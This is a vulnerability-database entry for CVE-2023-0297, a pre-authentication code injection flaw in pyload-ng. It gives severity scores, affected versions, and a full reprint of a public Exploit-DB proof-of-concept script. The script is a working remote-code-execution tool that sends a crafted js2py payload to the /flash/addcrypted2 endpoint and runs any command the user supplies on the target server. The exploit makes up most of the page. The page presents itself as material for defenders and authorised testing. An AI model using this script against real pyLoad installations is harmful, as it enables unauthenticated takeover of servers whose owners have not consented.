CVE-2023-0297

unknown
Published 2023-01-14 ยท Modified 2024-02-16
CVSS v3
โ€”
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
1.0

Description

Code Injection in pyload-ng

Predictions

Exploit likelihood
30%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-51532 webapps python verified python ยท 2 KB
Gabriel Lima ยท 2023-06-14

PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)

python exploit Source: Exploit-DB
# Exploit Title: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
# Date: 06-10-2023
# Credits: bAu @bauh0lz 
# Exploit Author: Gabriel Lima (0xGabe)
# Vendor Homepage: https://pyload.net/
# Software Link: https://github.com/pyload/pyload
# Version: 0.5.0
# Tested on: Ubuntu 20.04.6
# CVE: CVE-2023-0297

import requests, argparse

parser = argparse.ArgumentParser()
parser.add_argument('-u', action='store', dest='url', required=True, help='Target url.')
parser.add_argument('-c', action='store', dest='cmd', required=True, help='Command to execute.')
arguments = parser.parse_args()

def doRequest(url):
    try:
        res = requests.get(url + '/flash/addcrypted2')
        if res.status_code == 200:
            return True
        else:
            return False

    except requests.exceptions.RequestException as e:
        print("[!] Maybe the host is offline :", e)
        exit()

def runExploit(url, cmd):
    endpoint = url + '/flash/addcrypted2'
    if " " in cmd:
        validCommand = cmd.replace(" ", "%20")
    else:
        validCommand = cmd

    payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
    test = requests.post(endpoint, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload)
    print('[+] The exploit has be executeded in target machine. ')

def main(targetUrl, Command):
    print('[+] Check if target host is alive: ' + targetUrl)
    alive = doRequest(targetUrl)
    if alive == True:
        print("[+] Host up, let's exploit! ")
        runExploit(targetUrl,Command)
    else:
        print('[-] Host down! ')

if(arguments.url != None and arguments.cmd != None):
    targetUrl = arguments.url
    Command = arguments.cmd
    main(targetUrl, Command)

Metasploit modules

pyLoad js2py Python Execution
Source fetch failed: fetch_error โ€” view the original via the link above.

Package impact

EcosystemPackageVulnerableFixed
python PyPIpyload-ng<0.5.0b3.dev310.5.0b3.dev31

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.